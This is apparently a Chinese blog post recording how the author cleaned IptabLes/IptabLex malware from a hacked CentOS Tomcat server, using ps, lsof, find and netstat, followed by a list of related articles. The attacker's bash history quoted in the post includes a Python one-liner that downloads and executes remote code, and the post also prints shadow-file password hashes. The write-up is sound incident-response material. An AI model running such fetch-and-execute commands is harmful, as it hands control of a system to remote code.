小记IptabLes和IptabLex病毒清理过程
去年有台Linux服务器被黑了,看了500万行日志(现在觉得当时好厉害呀),反正当时的日志文件有700Mb以上大。前两天师兄告诉我,信息中心的老师给他说我们有台服务器应该是被人入侵了,当作内网的跳板,经常对内网中的其他服务器发出攻击的数据。于是我连夜就去服务器上看了。
这是我第一次上这个服务器,什么情况都不知道,只知道这个服务器是Linux(尼玛具体是什么发行版都要我去查),上面跑着一个网站。
进去之后,先看看是什么发行版的。CentOS6.5,以前都只玩的Ubuntu,换这个上面多多少少还有点陌生的。好了废话不多说了。
再去看看什么网页吧。cd /var/下面,没有看到是www或者htdocs之类的目录,不会是tomcat吧。搜索了一下,果然是。网页内容先不看了,应该是已经提权成功了的。直接就去看看服务器算了。
写文章的时候才意识到,我一开始不应该乱看其他的,应该先把.bash_history什么的先备份下才对。算是给自己提一个醒吧。
看看passwd和shadow:
[root@localhost /]# stat /etc/passwd
File: "/etc/passwd"
Size: 1723 Blocks: 8 IO Block: 4096 普通文件
Device: fd00h/64768d Inode: 919098 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-09-21 09:32:01.730288306 +0800
Modify: 2014-04-02 09:31:28.469644869 +0800
Change: 2014-04-02 09:31:28.503201786 +0800
[root@localhost /]# stat /etc/shadow
File: "/etc/shadow"
Size: 1177 Blocks: 8 IO Block: 4096 普通文件
Device: fd00h/64768d Inode: 919095 Links: 1
Access: (0000/----------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-09-21 09:40:01.734126039 +0800
Modify: 2014-04-02 09:38:11.473125883 +0800
Change: 2014-04-02 09:38:11.498275087 +0800
看来是4月2号就入侵成功了呀。查看了下/home下的目录,多了一个用户。还是看看passwd吧。
[root@localhost /]#cat /etc/shadow
mysql:!!:15791:::::: tomcat:!!:15791:::::: chu:$6$kG9zMTps$7H61NSjXMY3/Jc/tZrJtCuwFn1mhDyWXVg4blFghfLdbQNXr.6Li9tYt5fYVJsIlvwb0z68k/EQXsUljZK6.L0:15793:0:99999:7::: sqzr:$6$yBrvX/HDaim/vrK4$uArYMq6Zr2XM7BWTzexC16RI6HGmOp9cs65AgLR.v.yx3rN0M6YzblNCJytGsguFSbsGN18OPpcyrSG63fKKS.:16162:0:99999:7:::
passwd就不写出来了。在passwd中,sqzr这个用户后面的和root一样,也就是root权限了。userdel sqzr提示不能删除,当前已经登录,尼玛,这个用户就是给root取了个别名吧。直接修改两个文件,删除这一行。用户就算是清理了。
看下进程:
21911 ? 00:00:00 .IptabLex
21917 ? 00:00:00 .IptabLes
29093 ? 00:00:02 prwpodebiq
这是什么,第一眼还以为是防火墙,可是多了一个,再一想,Linux下面要区分大小写的,这东西不对劲。
百度了下,发现确实是个病毒,也有其他人中招了。
http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/
还有那个prwpodebiq,完全没有意义的进程名,如此大的pid,肯定有问题。
[root@localhost /]# find / -name prwpodebiq -print
/boot/prwpodebiq
/etc/rc.d/init.d/prwpodebiq[root@localhost /]# cd /boot/
[root@localhost boot]# ll
总用量 19858
-rw-r--r--. 1 root root 97862 5月 20 2011 config-2.6.32-71.el6.x86_64
drwxr-xr-x. 3 root root 1024 3月 27 2013 efi
drwxr-xr-x. 2 root root 1024 3月 27 2013 grub
-rw-r--r--. 1 root root 13419499 3月 27 2013 initramfs-2.6.32-71.el6.x86_64.img
lrwxrwxrwx 1 root root 25 9月 16 22:31 IptabLes -> /etc/rc.d/init.d/IptabLes
lrwxrwxrwx 1 root root 25 9月 16 22:31 IptabLex -> /etc/rc.d/init.d/IptabLex
drwx------. 2 root root 12288 3月 27 2013 lost+found
-rwxr-x--- 1 root root 613533 9月 21 21:29 prwpodebiq
-rw-r--r--. 1 root root 160542 5月 20 2011 symvers-2.6.32-71.el6.x86_64.gz
-rw-r--r--. 1 root root 2226490 5月 20 2011 System.map-2.6.32-71.el6.x86_64
-rwxr-xr-x. 1 root root 3791040 5月 20 2011 vmlinuz-2.6.32-71.el6.x86_64[root@localhost boot]# stat prwpodebiq
File: "prwpodebiq"
Size: 613533 Blocks: 1200 IO Block: 1024 普通文件
Device: 801h/2049d Inode: 22 Links: 1
Access: (0750/-rwxr-x---) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-09-21 23:16:18.000000000 +0800
Modify: 2014-09-21 21:29:26.000000000 +0800
Change: 2014-09-21 21:29:26.000000000 +0800
777的文件,定位到病毒了。
[root@localhost boot]# find / -name *IptabL* -print
/boot/.IptabLes
/boot/.IptabLex
/etc/rc.d/rc4.d/S55IptabLes
/etc/rc.d/rc4.d/S55IptabLex
/etc/rc.d/rc2.d/S55IptabLes
/etc/rc.d/rc2.d/S55IptabLex
/etc/rc.d/rc3.d/S55IptabLes
/etc/rc.d/rc3.d/S55IptabLex
/etc/rc.d/rc5.d/S55IptabLes
/etc/rc.d/rc5.d/S55IptabLex
/usr/.IptabLes
/usr/.IptabLex
[root@localhost boot]# rm -rf `find / -name *IptabL*`
手动删除了一部分,但东西太多了,直接用find删除了。
此外用lsof看到了一些进程和/下的pid文件有关联,于是直接删除了。
# ll -a / (只显示可疑的文件)
-rw-r--r-- 1 root root 5 Jan 12 17:15 .mylisthb.pid
-rw-r--r-- 1 root root 5 Jan 12 10:01 .mylisthbS.pid
-rw-r--r-- 1 root root 5 Jan 12 10:01 .mylisthbSx.pid
-rw-r--r-- 1 root root 5 Jan 12 16:57 .mylisthbx.pid
感觉已经解决问题了,ps -A 看看还有没有问题。。。于是。。
3499 ? 00:00:00 sshd
3505 ? 00:00:00 kdpiaqommj
3506 pts/0 00:00:00 ps
29093 ? 00:00:10 prwpodebiq
29101 ? 00:00:00 flush-8:0
31327 ? 00:00:00 sshd
31378 pts/0 00:00:06 bash
又出来一个kdpiaqommj和prwpodebiq,这种没有什么意义的名字的进程。lsof之。发现又在/boot下,晕,kill后再rm一个。
再看一次进程,又出现了一个tieyhxjhkl。
[root@localhost bin]# lsof -p 5669
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
tieyhxjhk 5669 root cwd DIR 253,0 4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bin
tieyhxjhk 5669 root rtd DIR 253,0 4096 2 /
tieyhxjhk 5669 root txt REG 8,1 613533 18 /boot/tieyhxjhkl
tieyhxjhk 5669 root 0u CHR 1,3 0t0 3569 /dev/null
tieyhxjhk 5669 root 1u CHR 1,3 0t0 3569 /dev/null
tieyhxjhk 5669 root 2u CHR 1,3 0t0 3569 /dev/null
tieyhxjhk 5669 root 3u IPv4 1445967634 0t0 TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)
是反弹shell还是什么?
应该是还有文件被改了吧,去tomcat目录中看看。
[root@localhost bin]# ll
总用量 1828
-rw-r--r-- 1 root root 28615 3月 22 2013 bootstrap.jar
-rw-r--r-- 1 root root 461 5月 18 00:54 c:\2.vbs
-rw-r--r-- 1 root root 13217 3月 22 2013 catalina.bat
-rwxr-xr-x 1 root root 19276 3月 22 2013 catalina.sh
-rw-r--r-- 1 root root 2121 3月 22 2013 catalina-tasks.xml
-rw-r--r-- 1 root root 24281 3月 22 2013 commons-daemon.jar
-rw-r--r-- 1 root root 202451 3月 22 2013 commons-daemon-native.tar.gz
-rw-r--r-- 1 root root 2131 3月 22 2013 configtest.bat
-rwxr-xr-x 1 root root 1982 3月 22 2013 configtest.sh
-rw-r--r-- 1 root root 1342 3月 22 2013 cpappend.bat
-rwxr-xr-x 1 root root 22987 5月 23 09:04 D32
-rwxr-xr-x 1 root root 27805 5月 23 09:04 D64
-rwxr-xr-x 1 root root 7492 3月 22 2013 daemon.sh
-rw-r--r-- 1 root root 2178 3月 22 2013 digest.bat
-rwxr-xr-x 1 root root 2021 3月 22 2013 digest.sh
-rw-r--r-- 1 root root 1103207 7月 11 02:49 getsetup.hb.1
-rw-r--r-- 1 root root 0 8月 5 16:19 Ŀ��������·�� ��������pwd����
-rw-r--r-- 1 root root 3264 3月 22 2013 setclasspath.bat
-rwxr-xr-x 1 root root 3524 3月 22 2013 setclasspath.sh
-rw-r--r-- 1 root root 2111 3月 22 2013 shutdown.bat
-rwxr-xr-x 1 root root 1960 3月 22 2013 shutdown.sh
-rw-r--r-- 1 root root 2112 3月 22 2013 startup.bat
-rwxr-xr-x 1 root root 1961 3月 22 2013 startup.sh
-rw-r--r-- 1 root root 38161 3月 22 2013 tomcat-juli.jar
-rw-r--r-- 1 root root 288166 3月 22 2013 tomcat-native.tar.gz
-rw-r--r-- 1 root root 4114 3月 22 2013 tool-wrapper.bat
-rwxr-xr-x 1 root root 5086 3月 22 2013 tool-wrapper.sh
-rw-r--r-- 1 root root 2116 3月 22 2013 version.bat
-rwxr-xr-x 1 root root 1965 3月 22 2013 version.sh
红字是tomcat中没有的,删除了。
然后kill。然后重启服务器。
然后我就晕了,还有!!!!!! 这次lsof的cwd直接是/了。而根下没有什么东西了。
然后我发现,该进程是随机产生名字,然后会生成两个子进程,子进程也是随机名字,并且只有2秒不到的存活期,kill不了。kill父进程,还会产生。同时会在/boot下生成自己的可执行文件。
通过netstat -anput 发现这个进程的功能应该是 TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。
tcp 0 1 这里是我的IP:41939 222.34.129.154:2804 SYN_SENT 1701/bash
这尼玛好像就是反弹shell吧。
还是看看.bash_history吧。
973 find -name '*tomcat*'
974 find -name 'index.jsp'
975 ------------------------------
976 find -name 'index.jsp'
977 ls
978 top
979 ls
980 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
981 python2
982 python
983 ls
984 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
985 wget www.baidu.com
986 cat index.html
987 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
988 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 --no-check-certificate
989 ls
990 tar -jxvf Python-2.7.tar.bz2
991 cd p
992 cd Python-2.7/
993 dir
994 ./configure
995 make
996 make install
997 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
998 python -c "exec(__import__('urllib').urlopen('http://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
999 pip
1000 yum install python-zlib
2016 更新:
这个 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 原来是扫描器。
tail –100 /var/log/secure
看看安全信息,有公网IP拼命的在尝试root的密码,而且走的是ssh进来的。当然关闭ssh相信应该是可以的。我这因为目前公网上还需要用到ssh,所以只能在hosts.deny上进行阻止该公网IP进来。
东北大学网络中心有常见的ssh攻击的IP地址,及一个sh脚本:
阻止别人的ssh连接了,但是内部的 那个进程还是一直有,一直发着这个
TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)
他应该用的应该是Struts2的漏洞进入服务器里的,但是留下的那个后门,我现在还没有办法解决,
Struts2的漏洞可以看这里:
至此,先到这里吧。最近还是再看看吧。
小记IptabLes和IptabLex病毒清理过程的更多相关文章
- 记一次阿里云linux病毒清理过程
1.起因 因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码.在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的 ...
- linux服务器随机10字符病毒/libudev4.so病毒清理的过程
故障表现:某天晚上突然收到某项目一台web服务器CPU报警,SSH连接困难卡顿,登陆后发现CPU使用率飙升到700%,第一感觉是被黑了,来事了. 故障处理: 1.登陆上后发现有好多莫名的命令(who/ ...
- centos 10字母随机文件病毒清理
病毒表现:网络流量暴满,疯狂地向香港的一个IP发数据,同时在top里面表现为随机的10位字母的进程,看/proc里面的信息,则为ls,cd之类常见的命令,CPU利用率也在top之首.杀死该进程后,会再 ...
- Linux服务器病毒清理实践
背景:客户服务器被挂载木马病毒用以挖矿(比特币). 本次清理通过Linux基本命令完成.其原理也比较简单,通过ps命令查看服务器异常进程,然后通过lsof命令定位进程访问的文件,找到异常文件删除之,最 ...
- qW3xT.2挖矿病毒 解决过程及坑
周一早上老大让我把项目更新一下,然后配置一下elasticsearch,我登上服务器之后部署的时候没有什么感觉,但是在配置elasticsearch的过程中感觉服务器哪个地方有点不对,下意识的top了 ...
- 记一次Linux Centos7病毒清理
记一次在工作中测试环境下中病毒的处理解决办法,都说linux系统非常安全,但是很多人百年一遇的病毒被我遇上了,公司三台测试环境服务器中招. 最开始系统突然变得很卡,使用top命令查看资源占用情况,发现 ...
- 记录腾讯云中矿机病毒处理过程(重装系统了fu*k)
刚想学学kafka,登录与服务器看看把,谁知ssh特别慢,很奇怪,我以为是我网速问题,断了wifi,换了网线,通过iterm想要ssh root@x.x.x.x,但是上不去? 就tm的很奇怪了,登录腾 ...
- linux 木马清理过程
服务器出现异常,完全无法访问,ssh登陆都极其缓慢 解决过程 top 查看系统状态,发现 load average 平均负载值非常高,再看排名第一的进程,是一个不认识的进程名:minerd 感觉是被入 ...
- 记一次生产主机中挖矿病毒"kintegrityds"处理过程!
[记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...
随机推荐
- python2.7入门---JSON
这次我们来看如何使用 Python 语言来编码和解码 JSON 对象.首先,我们得了解,JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,易于人阅读 ...
- 20155222 2016-2017-2 《Java程序设计》第3周学习总结
20155222 2016-2017-2 <Java程序设计>第3周学习总结 教材学习内容总结 要产生对象必须先定义类,类是对象的设计图,对象是类的实例. 数组一旦建立,长度就固定了. 字 ...
- 【LG3320】[SDOI2015]寻宝游戏
[LG3320][SDOI2015]寻宝游戏 题面 洛谷 题解 不需要建虚树的虚树2333... 贪心地想一下,起始节点肯定是在关键点上,访问顺序就是\(dfs\)序. 那么对于每次询问, \[ An ...
- Arduino 101/Genuino101使用-第2篇
1. Arduino 101编程只是在ARC的核心上进行,其具体架构为ARCv2EM.. 2. 而Quark核心,从目前可知的信息来看,其应该运行着名为Zephyr的RTOS 3.101并没有EEPR ...
- Python中的矩阵操作
Numpy 通过观察Python的自有数据类型,我们可以发现Python原生并不提供多维数组的操作,那么为了处理矩阵,就需要使用第三方提供的相关的包. NumPy 是一个非常优秀的提供矩阵操作的包.N ...
- Android手机测试-ddms&monitor-抓crash,log
1.安装adb offline解决办法: 原因就是android 4.2以上的版本过高,sdk的adb驱动不匹配,需要升级.我原本的adb是1.0.29,升级为1.0.31,问题就解决了. 2.安装s ...
- Python解包参数列表及 Lambda 表达式
解包参数列表 当参数已经在python列表或元组中但需要为需要单独位置参数的函数调用解包时,会发生相反的情况.例如,内置的 range() 函数需要单独的 start 和 stop 参数.如果它们不能 ...
- nodejs的路径问题
最近公司的一个开发项目,后端用的是nodejs.这两天需要打包给客户演示,就让公司一个小伙把之前3D机房的打包工具移植过来.打包之后,发现原本在开发环境下的跑的好好的项目,不能访问了.出现项目的首页不 ...
- 个人安装ss的一个记录
在ubuntu16.04安装ss服务.由于lantern最近极其不稳定(我还花钱的qaq),经常断联以至于几乎废了,莫得办法,只好花钱搭一个了orz...呵,贫穷.... 安装shadowsocks ...
- 【python 3.6】python获取当前时间及过去或将来的指定时间
最近有个查询api,入参需要一个startTime,一个endTime,刚好用到datetime. 留此记录. #python 3.6 #!/usr/bin/env python # -*- codi ...